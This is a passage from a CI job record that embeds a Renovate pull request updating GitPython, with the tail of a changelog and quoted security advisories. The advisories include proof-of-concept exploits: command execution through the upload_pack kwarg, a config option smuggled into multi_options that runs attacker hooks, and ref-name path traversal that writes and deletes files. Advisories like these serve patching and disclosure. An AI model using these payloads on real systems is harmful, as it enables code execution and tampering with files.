        in [#&#8203;2019](https://redirect.github.com/gitpython-developers/GitPython/pull/2019)\n-
        remove type assertions from util.py by [@&#8203;gcmarx](https://redirect.github.com/gcmarx)
        in [#&#8203;2028](https://redirect.github.com/gitpython-developers/GitPython/pull/2028)\n-
        correctly handle `uname-cmd` that doesn't point to an executable file by [@&#8203;gcmarx](https://redirect.github.com/gcmarx)
        in [#&#8203;2026](https://redirect.github.com/gitpython-developers/GitPython/pull/2026)\n-
        Use newer ruff style by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2031](https://redirect.github.com/gitpython-developers/GitPython/pull/2031)\n-
        Have CodeQL scan GitHub Actions workflows as well as Python code by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2032](https://redirect.github.com/gitpython-developers/GitPython/pull/2032)\n-
        Specify explicit `contents: read` workflow permissions by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2033](https://redirect.github.com/gitpython-developers/GitPython/pull/2033)\n-
        Fix GitConfigParser not removing quotes from values by [@&#8203;betaboon](https://redirect.github.com/betaboon)
        in [#&#8203;2035](https://redirect.github.com/gitpython-developers/GitPython/pull/2035)\n-
        Preserve quoted leading and trailing single-line config var whitespace by
        [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2036](https://redirect.github.com/gitpython-developers/GitPython/pull/2036)\n-
        Refactor Git.{AutoInterrupt,CatFileContentStream} nesting by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2037](https://redirect.github.com/gitpython-developers/GitPython/pull/2037)\n-
        Fix Git.{AutoInterrupt,CatFileContentStream} static typing by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2039](https://redirect.github.com/gitpython-developers/GitPython/pull/2039)\n-
        Fix CI `mypy` command on free-threaded Python by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2040](https://redirect.github.com/gitpython-developers/GitPython/pull/2040)\n-
        Split Cygwin CI into non-`performance` and `performance` test jobs by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2042](https://redirect.github.com/gitpython-developers/GitPython/pull/2042)\n-
        Express conditional `setuptools` requirement statically by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2043](https://redirect.github.com/gitpython-developers/GitPython/pull/2043)\n-
        Fix ambiguous `_safer_popen_windows` comment by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2044](https://redirect.github.com/gitpython-developers/GitPython/pull/2044)\n-
        Clarify `USE_SHELL` warning helper signature by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2045](https://redirect.github.com/gitpython-developers/GitPython/pull/2045)\n-
        Test `ConfigParser` with whitespace outside the value by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2046](https://redirect.github.com/gitpython-developers/GitPython/pull/2046)\n-
        Remove explicit empty `\"\"` handling in ConfigParser by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2047](https://redirect.github.com/gitpython-developers/GitPython/pull/2047)\n-
        Various style improvements by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2049](https://redirect.github.com/gitpython-developers/GitPython/pull/2049)\n-
        Don't remove quotes if `\\` or `\"` are present inside by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2048](https://redirect.github.com/gitpython-developers/GitPython/pull/2048)\n-
        fix updating submodules with relative urls by [@&#8203;david0](https://redirect.github.com/david0)
        in [#&#8203;2051](https://redirect.github.com/gitpython-developers/GitPython/pull/2051)\n-
        Run `cat_file.py` fixture without site customizations by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2052](https://redirect.github.com/gitpython-developers/GitPython/pull/2052)\n-
        Fix Cygwin installation on CI for `pip` by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2053](https://redirect.github.com/gitpython-developers/GitPython/pull/2053)\n-
        Fail `test_installation` on warnings, and remove deprecated license classifier
        by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2054](https://redirect.github.com/gitpython-developers/GitPython/pull/2054)\n-
        Add clearer error version for unsupported index error by [@&#8203;tombedor](https://redirect.github.com/tombedor)
        in [#&#8203;2055](https://redirect.github.com/gitpython-developers/GitPython/pull/2055)\n-
        Fix name collision by [@&#8203;NMertsch](https://redirect.github.com/NMertsch)
        in [#&#8203;2060](https://redirect.github.com/gitpython-developers/GitPython/pull/2060)\n-
        Allow relative path url in submodules for submodule\\_update by [@&#8203;t-webber](https://redirect.github.com/t-webber)
        in [#&#8203;2062](https://redirect.github.com/gitpython-developers/GitPython/pull/2062)\n\n####
        New Contributors\n\n- [@&#8203;flichtenheld](https://redirect.github.com/flichtenheld)
        made their first contribution in [#&#8203;1996](https://redirect.github.com/gitpython-developers/GitPython/pull/1996)\n-
        [@&#8203;kamilkozik7](https://redirect.github.com/kamilkozik7) made their
        first contribution in [#&#8203;2012](https://redirect.github.com/gitpython-developers/GitPython/pull/2012)\n-
        [@&#8203;koyuki7w](https://redirect.github.com/koyuki7w) made their first
        contribution in [#&#8203;2018](https://redirect.github.com/gitpython-developers/GitPython/pull/2018)\n-
        [@&#8203;ngoldbaum](https://redirect.github.com/ngoldbaum) made their first
        contribution in [#&#8203;2019](https://redirect.github.com/gitpython-developers/GitPython/pull/2019)\n-
        [@&#8203;gcmarx](https://redirect.github.com/gcmarx) made their first contribution
        in [#&#8203;2028](https://redirect.github.com/gitpython-developers/GitPython/pull/2028)\n-
        [@&#8203;betaboon](https://redirect.github.com/betaboon) made their first
        contribution in [#&#8203;2035](https://redirect.github.com/gitpython-developers/GitPython/pull/2035)\n-
        [@&#8203;david0](https://redirect.github.com/david0) made their first contribution
        in [#&#8203;2051](https://redirect.github.com/gitpython-developers/GitPython/pull/2051)\n-
        [@&#8203;tombedor](https://redirect.github.com/tombedor) made their first
        contribution in [#&#8203;2055](https://redirect.github.com/gitpython-developers/GitPython/pull/2055)\n-
        [@&#8203;NMertsch](https://redirect.github.com/NMertsch) made their first
        contribution in [#&#8203;2060](https://redirect.github.com/gitpython-developers/GitPython/pull/2060)\n-
        [@&#8203;t-webber](https://redirect.github.com/t-webber) made their first
        contribution in [#&#8203;2062](https://redirect.github.com/gitpython-developers/GitPython/pull/2062)\n\n**Full
        Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.44...3.1.45>\n\n</details>\n\n---\n\n###
        Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
        \"\"\n- Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
        Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
        **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
        checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
        about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
        to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated by
        [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/osism/pulpfiction).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNTkuMiIsInVwZGF0ZWRJblZlciI6IjQzLjE1OS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
      change_url: https://github.com/osism/pulpfiction/pull/10
      child_jobs: []
      commit_id: 00bd2631863b4576cf59cca91d0fbbe0b261efb2
      event_id: 589a3650-4c42-11f1-9a06-9249bf914cb8
      executor:
        hostname: 521e9411259a
        inventory_file: /var/lib/zuul/builds/b374ccea7e2346fa9f8cb5c36c6af5b0/ansible/inventory.yaml
        log_root: /var/lib/zuul/builds/b374ccea7e2346fa9f8cb5c36c6af5b0/work/logs
        result_data_file: /var/lib/zuul/builds/b374ccea7e2346fa9f8cb5c36c6af5b0/work/results.json
        src_root: /var/lib/zuul/builds/b374ccea7e2346fa9f8cb5c36c6af5b0/work/src
        work_root: /var/lib/zuul/builds/b374ccea7e2346fa9f8cb5c36c6af5b0/work
      include_vars: []
      items:
      - branch: main
        change: '10'
        change_message: "chore(deps): update dependency gitpython to v3.1.50 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.44` \u2192 `==3.1.50` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.50?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.44/3.1.50?slim=true)
          |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)
          / [GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
          Git options such as `--upload-pack` and `--receive-pack` by default, but
          the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that
          check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
          `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
          command execution even when `allow_unsafe_options` is left at its default
          value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
          options as unsafe because they can be used to execute arbitrary commands:\n\n-
          `git/repo/base.py:145-153` marks clone options such as `--upload-pack`,
          `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
          options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
          vulnerable API paths check the raw kwarg names before they're its normalized
          into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
          in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
          in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
          in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
          in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
          in `git/cmd.py:948-961`. The validator correctly blocks option names such
          as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
          Python kwargs into Git command-line flags in `Git.transform_kwarg()` at
          `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n-
          `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes
          `--receive-pack=...`\n\nBecause the unsafe-option check runs before this
          normalization, underscore-form kwargs bypass the safety check even though
          they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn
          practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with
          `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and
          reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
          out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
          does not appear to affect every unsafe option. For example, `exec=` is already
          rejected because the raw kwarg name `exec` matches the blocked option name
          before normalization.\n\nExisting tests cover the hyphenated form, not the
          vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
          checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks
          `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\":
          ...}`\n\nThose tests correctly confirm the literal Git option names are
          blocked, but they do not exercise the normal Python kwarg spelling that
          bypasses the guard.\n\n##### PoC\n1. Create and activate a virtual environment
          in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip
          install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make
          a new python file and put the following in there, then run it:\n\n```python\nimport
          os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
          so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
          = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
          = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
          = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
          to demo things you can do, not required for the exploit to work\n\n#####
          you could also do something like an SSH reverse shell, really anything\nwith
          open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n
          \ echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n
          \ printf 'argv='; printf '<%s>' \"$@&#8203;\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
          | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
          \"$@&#8203;\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
          \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
          \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
          open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
          \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
          \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
          \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
          \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
          stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin,
          victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
          = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
          option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
          wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
          \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
          you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
          to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
          will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
          Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
          os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
          result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
          True ...`\n- The proof file contains evidence that the attacker-controlled
          helper executed as the local application account, including `id`, working
          directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
          % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
          gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
          \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
          PoC does not require a malicious repository. The PoC uses that fresh blank
          repository. The only attacker-controlled input is the kwarg that GitPython
          turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
          that let users configure repository import, sync, mirroring, fetch, pull,
          or push behavior\n- Systems that accept a user-provided dict of \"extra
          Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems,
          workers, automation bots, or internal tools that build GitPython calls from
          untrusted integration settings or job definitions (yaml, json, etc configs
          )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack`
          or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
          `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this
          could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud
          credentials available to the process\n- Modification of repositories, build
          outputs, or release artifacts\n- Lateral movement from CI/CD workers or
          automation hosts\n- Full compromise of the worker or service process handling
          repository operations\n\nThe highest-risk environments are network-reachable
          services and automation systems that expose these GitPython kwargs across
          a trust boundary while relying on the default unsafe-option guard for protection.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe option check validates multi_options before shlex.split
          transformation\n[CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)
          / [GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`_clone()` validates
          `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`.
          A string like `\"--branch main --config core.hooksPath=/x\"` passes validation
          (starts with `--branch`), but after split becomes `[\"--branch\", \"main\",
          \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes
          attacker hooks during clone.\n\n##### Details\n\nThe vulnerable code is
          in [`git/repo/base.py` line 1383](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti
          = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on
          the **original** list at [line 1390](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options,
          unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses
          the **transformed** result at [line 1392](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc
          = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py`
          line 959](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959)
          uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option
          == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start
          with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes
          its own token and reaches git.\n\nAlso affects `Submodule.update()` via
          `clone_multi_options`.\n\n##### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0,
          str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\",
          \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept
          UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block
          as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent
          / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR
          / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n
          \   r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\",
          \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\",
          \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook
          = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname
          >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload
          = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n
          \   Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept
          UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\");
          sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n
          \   subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST,
          capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook
          executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config',
          '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']:
          not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n#####
          Impact\n\nAny application passing user input to `multi_options` in `clone_from()`,
          `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config
          core.hooksPath=<dir>` inside a string starting with a safe option. Check
          does not block it. Git executes attacker code. Same class as CVE-2023-40267.\n\n####
          Severity\n- CVSS Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://github.com/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython reference APIs has a path traversal vulnerability that allows
          arbitrary file write and delete outside the repository\n[CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)
          / [GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### \U0001F9FE Summary\n\nA vulnerability
          in **GitPython** allows **attackers who can supply a crafted reference path
          to an application using GitPython** to **write, overwrite, move, or delete
          files outside the repository\u2019s `.git` directory** via **insufficient
          validation of reference paths in reference creation, rename, and delete
          operations**.\n\n---\n\n##### \U0001F4E6 Affected Versions\n\n* Affected:
          `<= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n#####
          \U0001F9E0 Details\n\n##### Vulnerability Type\n\n**Path Traversal leading
          to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n##### Root
          Cause\n\nReference paths are validated when they are resolved for reading,
          but are not consistently validated before filesystem write, rename, and
          delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects
          traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`,
          `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete`
          still construct filesystem paths from attacker-controlled ref names without
          enforcing repository boundaries.\n\n---\n\n##### Affected Code\n\n```python\ndef
          set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n
          \   assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n
          \   fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@&#8203;classmethod\ndef
          delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path
          = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n
          \       os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path,
          force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path
          = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path
          = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path,
          new_abs_path)\n```\n\n---\n\n##### Attack Vector\n\n**Local attack through
          application-controlled input passed into GitPython reference APIs**\n\n#####
          Authentication Required\n\n**None at the library boundary. In practice,
          exploitation requires the ability to influence ref names supplied by the
          consuming application.**\n\n---\n\n##### \U0001F9EA Proof of Concept\n\n#####
          Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n#####
          Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git
          import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic
          import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n
          \   shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir
          / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write
          = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE
          ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write
          \ = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo,
          \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write
          exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+]
          outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo,
          \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists
          after delete:\", outside_delete.exists())\n```\n\n---\n\n##### Result\n\n```text\nrepo_dir
          \      = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete
          = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+]
          outside_write content:\n<current HEAD commit SHA>\n\n[+] outside_delete
          exists after delete: False\n```\n\n---\n\n##### \U0001F4A5 Impact\n\n#####
          What can an attacker do?\n\n* Create or overwrite files outside the repository
          metadata directory\n* Delete attacker-chosen files reachable from the process
          permissions\n* Corrupt application state or configuration files\n* Cause
          denial of service by deleting or overwriting important files\n\n---\n\n#####
          Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n*
          **Availability:** High\n\n---\n\n##### Who is affected?\n\n* Applications
          that expose GitPython reference operations to user-controlled input\n* Git
          automation services, repository management backends, CI/CD helpers, and
          developer platforms\n* Multi-user environments where one user can influence
          ref names processed on behalf of another workflow\n\n---\n\n##### \U0001F6E0\uFE0F
          Mitigation / Fix\n\n##### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo,
          path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n
          \   base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n
          \   target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n
          \       raise ValueError(f\"Reference path escapes repository boundary:
          {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo,
          full_ref_path)\n```\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48)\n-
          [https://github.com/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer().set_value() enables RCE
          via core.hooksPath\n[CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)
